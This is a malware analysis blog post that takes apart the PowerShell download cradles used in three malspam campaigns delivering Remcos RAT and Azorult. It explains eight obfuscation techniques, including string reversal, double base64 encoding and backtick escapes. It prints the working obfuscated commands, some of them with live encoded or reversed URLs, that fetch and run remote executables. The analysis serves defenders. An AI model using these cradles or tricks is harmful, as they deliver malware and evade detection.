Deconstructing PowerShell Obfuscation in Malspam Campaigns

In partnership with vx-underground, SentinelOne recently ran its first Malware Research Challenge, in which we asked researchers across the cybersecurity community to submit their research to showcase their talents and bring their insights to a wider audience.

In today’s post, researcher Ankith Bharadwaj (@bherund) delves into the murkly world of Windows PowerShell obfuscation techniques, widely used in malspam campaigns, to help evade detection by signature-based detection software. This highly valuable, content-rich post provides a great resource for threat hunters, incident responders and security analysts alike.

This research article explores various PowerShell obfuscation techniques, commonly found in real world malspam campaigns.

These scripts are usually launched by VBA macros, embedded in Office documents, and act as download cradles to retrieve and execute remote secondary stage payloads. These methods can prove quite effective against static signature-based detections.

We’ll be going over three different malspam campaigns and exploring eight different code and string obfuscation techniques.

Campaign 1 | Remcos RAT Infection from Malicious Excel Macros

The below script was part of a malspam campaign, delivering Remcos remote access trojan (RAT) via financially-themed emails. Sample artifacts can be found here.

Opening the malicious Excel attachment triggers VBA macro execution.

Office macro spawning Powershell
Office macro spawning Powershell

This, in turn, launches the below obfuscated PowerShell download cradle.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping google.com;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.csim\''+pmet:vne$,''UxKUVsB6crz3IBA=yekhtua&07712%58868200A4928F46=diser&58868200A4928F46=dic?daolnwod/moc.evil.evirdeno//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\misc.vbs')

The cradle primarily employs the following two string obfuscation methods (T1027: Obfuscated Files or Information):

Obfuscation Technique 1: Using Random Variable Names & String Concatenation

Here the script strings are split into multiple parts which are then concatenated through the + or -Join operators.

In the script, we see three random alphanumeric variables, $we22, $b4df and $c3, which hold string values. These are then combined to form the fourth variable $TC, using the -Join operator.

($TC=$c3,$b4df,$we22 -Join '')

The value of TC after the Join operation is:

)'sbv.csim\'+pmet:vne$,'UxKUVsB6crz3IBA=yekhtua&.evirdeno//:ptth'(eliFdaolnwoD.)tneilCbeW.teN tcejbO-weN(

Obfuscation Technique 2: String Reversing

The campaign also employs obfuscation through string reversing, using the RightToLeft regex option.

The [regex] type accelerator with the Matches() static method is used to make this work. ForEach looping and -join are used to then combine each of the matched values.

[regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join ''

Obfuscation Technique 3: Command Alias

The campaign also makes use of the IEX cmdlet to run the specified string. This is an alias for the Invoke-Expression cmdlet.

Once completely deobfuscated, the PowerShell command would look something like this (Editor’s note: here and throughout, potentially malicious URLs are defanged for the purpose of publication):

"C:\Windows\System32\WindowsPowerShe1ll\v1.0\powershell.exe" ping google.com;IEX((New-Object Net.WebCLient).DownloadFile( 'hXXp://onedrive[.]&authkey=ABI3zrc6BsVUKxU',$env:temp+'\misc.vbs'));start-process($env:temp+ '\misc.vbs')

Campaign 2 | Azorult Distributed Through Malspam

The next script was part of a malspam campaign delivering Azorult Infostealer. Sample artifacts can be found here.

Office macro spawning cmd.exe and Powershell
Office macro spawning cmd.exe and Powershell

Obfuscation Technique 4: Encoding (Base64)

The script is first obfuscated in two layers of base64 encoding, before the clear text strings can be seen. (T1140: Deobfuscate/Decode Files or Information).

The first layer of base64 encoding uses the -e option (short for -EncodeCommand).

"C:\Windows\System32\cmd.exe" /c p^ow^ER^s^HE^LL -e WwBzAFkAUwB0AGUAbQAuAFQAZQBYAFQALgBFAE4AYwBvAEQASQBOAGcAXQA6ADoAdQBuAEkAQwBvAEQARQAuAGcAZQB0AHMAdAByAEkAbgBHACgAWwBzAHkAcwB0AGUAbQAuAEMATwBOAHYAZQBSAHQAXQA6ADoAZgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAE0AQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARwBzAEEAYwBRAEIAdABBAEcAVQBBAGEAQQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABrAEEAYwBBAEIAbwBBAEcAbwBBAFkAdwBBAGcAQQBDAHcAQQBJAEEAQQBrAEEASABFAEEAYQBBAEIAcwBBAEMAQQBBAEsAUQBBAGcAQQBIAHMAQQBhAFEAQgBOAEEASABBAEEAYgB3AEIAUwBBAEgAUQBBAEwAUQBCAE4AQQBFADgAQQBaAEEAQgBWAEEARQB3AEEAUgBRAEEAZwBBAEcASQBBAGEAUQBCAFUAQQBGAE0AQQBWAEEAQgB5AEEARQBFAEEAVABnAEIAegBBAEUAWQBBAFIAUQBCAHkAQQBEAHMAQQBEAFEAQQBLAEEARgBNAEEAZABBAEIAQgBBAEYASQBBAFYAQQBBAHQAQQBFAEkAQQBhAFEAQgBVAEEASABNAEEAVgBBAEIAUwBBAEcARQBBAGIAZwBCAFQAQQBHAFkAQQBSAFEAQgB5AEEAQwBBAEEATABRAEIAegBBAEcAOABBAGQAUQBCAHkAQQBFAE0AQQBaAFEAQQBnAEEAQwBRAEEAZQBRAEIAdwBBAEcAZwBBAGEAZwBCAGoAQQBDAEEAQQBMAFEAQgBFAEEARwBVAEEAYwB3AEIAVQBBAEcAawBBAGIAZwBCAEIAQQBIAFEAQQBTAFEAQgB2AEEARQA0AEEASQBBAEEAawBBAEgARQBBAGEAQQBCAHMAQQBEAHMAQQBJAEEAQgBKAEEARwA0AEEAZABnAEIAdgBBAEcAcwBBAFoAUQBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAawBBAEgARQBBAGEAQQBCAHMAQQBEAHMAQQBmAFEAQQBOAEEAQQBvAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGcAQQBDAEEAQQBKAEEAQgBqAEEASABjAEEAZAB3AEIAbwBBAEcAVQBBAFkAZwBBADkAQQBDAFEAQQBaAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAVQBBAGIAUQBCAHcAQQBDAHMAQQBKAHcAQgBjAEEASABNAEEAWQB3AEIAMwBBAEgAZwBBAFkAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATwB3AEEATgBBAEEAbwBBAGEAdwBCAHgAQQBHADAAQQBaAFEAQgBvAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAdgBBAEgASQBBAFoAdwBCAGwAQQBIAEEAQQBjAGcAQgBoAEEASABBAEEAWQBRAEIAegBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBqAEEARwBVAEEAYgBRAEEAdgBBAEYAWQBBAFYAZwBCAGEAQQBFADAAQQBXAFEAQgBNAEEARQBnAEEAWQBRAEIAVABBAEUAOABBAFkAdwBCAGkAQQBHAHcAQQBjAFEAQgB2AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBZAHcAQgAzAEEASABjAEEAYQBBAEIAbABBAEcASQBBAE8AdwBBAE4AQQBBAG8AQQBJAEEAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AEkAZQBYAA==

This accepts a base64-encoded string version of a command.

In the second layer of base64 encoding, we see the use of the function FromBase64String().

[sYStem.TeXT.ENcoDINg]::unICoDE.getstrInG([system.CONveRt]::fROMBase64sTriNG("dAByAHkAewBmAG8AcgAgACgAJABpAD0AMQA7ACAAJABpACAALQBsAGUAIAAxADMAMAAwADAAOwAgACQAaQArACsAKQAgAHsAJABpACwAIgBgAG4AIgB9AH0AYwBhAHQAYwBoAHsAfQAgAGYAdQBuAGMAdABpAG8AbgAgAGsAcQBtAGUAaAAgACgAIAAkAHkAcABoAGoAYwAgACwAIAAkAHEAaABsACAAKQAgAHsAaQBNAHAAbwBSAHQALQBNAE8AZABVAEwARQAgAGIAaQBUAFMAVAByAEEATgBzAEYARQByADsADQAKAFMAdABBAFIAVAAtAEIAaQBUAHMAVABSAGEAbgBTAGYARQByACAALQBzAG8AdQByAEMAZQAgACQAeQBwAGgAagBjACAALQBEAGUAcwBUAGkAbgBBAHQASQBvAE4AIAAkAHEAaABsADsAIABJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAHEAaABsADsAfQANAAoAdAByAHkAewAgACAAJABjAHcAdwBoAGUAYgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcAHMAYwB3AHgAYwAuAGUAeABlACcAOwANAAoAawBxAG0AZQBoACAAJwBoAHQAdABwADoALwAvAGcAZQBvAHIAZwBlAHAAcgBhAHAAYQBzAC4AYwBvAG0ALwBjAGUAbQAvAFYAVgBaAE0AWQBMAEgAYQBTAE8AYwBiAGwAcQBvAC4AZQB4AGUAJwAgACQAYwB3AHcAaABlAGIAOwANAAoAIAB9AGMAYQB0AGMAaAB7AH0A"))|IeX

The final clear text PowerShell will look something like the example below.

try{for ($i=1; $i -le 13000; $i++) {$i,"`n"}}catch{} function kqmeh ( $yphjc , $qhl ) {iMpoRt-MOdULE biTSTrANsFEr;StART-BiTsTRanSfEr -sourCe $yphjc -DesTinAtIoN $qhl; Invoke-Item $qhl;}try{  $cwwheb=$env:temp+'\scwxc.exe';kqmeh 'hXXp://georgeprapas[.]com/cem/VVZMYLHaSOcblqo[.]exe' $cwwheb;}catch{}

Although not an obfuscation technique, it’s interesting to note the for loop at the start of the script.

for ($i=1; $i -le 13000; $i++) {$i,"`n"}

This just prints numbers from 1–13000. This is most likely implemented to delay secondary stage payload download, in an attempt to exceed time thresholds of automated analysis environments (T1497.003: Virtualization/Sandbox Evasion: Time Based Evasion).

Obfuscation Technique 5: Functions & Try-Catch Block

A try-catch block is implemented to invoke the function (kqmeh) and pass the mentioned parameters. The values passed are for the Source (location of the secondary payload) and Destination (where the payload will be saved locally) parameters for the Start-BitTransfer cmdlet. This creates a Background Intelligent Transfer Service (BITS) transfer job to transfer the malicious executable.

The final deobfuscated PowerShell command would look something like this:

Import-Module BitsTransfer;Start-BitsTransfer -Source 'hXXp[://]georgeprapas[.]com/cem/VVZMYLHaSOcblqo[.]exe' -Destination$env:temp+'\scwxc.exe';Invoke-Item($env:temp+'\scwxc.exe')

Campaign 3 | Remcos RAT Infection from Malicious Excel Macros

The next script was part of another malspam campaign also delivering Remcos RAT. Sample artifacts can be found here.

Office macro spawning Powershell
Office macro spawning Powershell

Obfuscation Technique 6: Argument Replacement

powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('hXXps[://]tinyurl[.]com/y4cpohnr'','nm.exe')

Here we see the usage of the argument -w 1, instead of -w hidden. Here, 1 is the numerical representation of hidden, and is commonly used to conceal any PowerShell windows from the plain sight of users (T1564.003: Hide Artifacts: Hidden Window).

Obfuscation Technique 7: Escape Character

This technique attempts to obfuscate a PowerShell cmdlet (nEw-oB`jecT ) using the backtick (`) character. Backtick is the escape character in PowerShell.

In PowerShell, there are 14 escape sequences, and all begin with the backtick character. For example, new line is represented as `n. However, in our case `j is not a recognized escape character, and so nEw-oB`jecT will be interpreted as nEw-oBjecT.

Obfuscation Technique 8: Mixed Case Letters

This is pretty straight forward. Since PowerShell cmdlets are not case sensitive, the attacker attempts to mix upper and lower case letters to hopefully evade static signature matchings that are case sensitive.

The final deobfuscated PowerShell command that is run will look something like this:

powershell -w hidden (New-Object Net.Webclient).DownloadFile.Invoke('hXXps[://]tinyurl[.]com/y4cpohnr'', 'nm.exe')

MITRE ATT&CK TTPs Encountered

Initial Access
T1566.001: Phishing: Spearphishing Attachment
Execution
T1059.001: Command and Scripting Interpreter: PowerShell
T1059.005: Command and Scripting Interpreter: Visual Basic
T1204.002: User Execution: Malicious File
Defense Evasion
T1564.003: Hide Artifacts: Hidden Window
T1497.003: Virtualization/Sandbox Evasion: Time Based Evasion
T1197: BITS Jobs
T1140: Deobfuscate/Decode Files or Information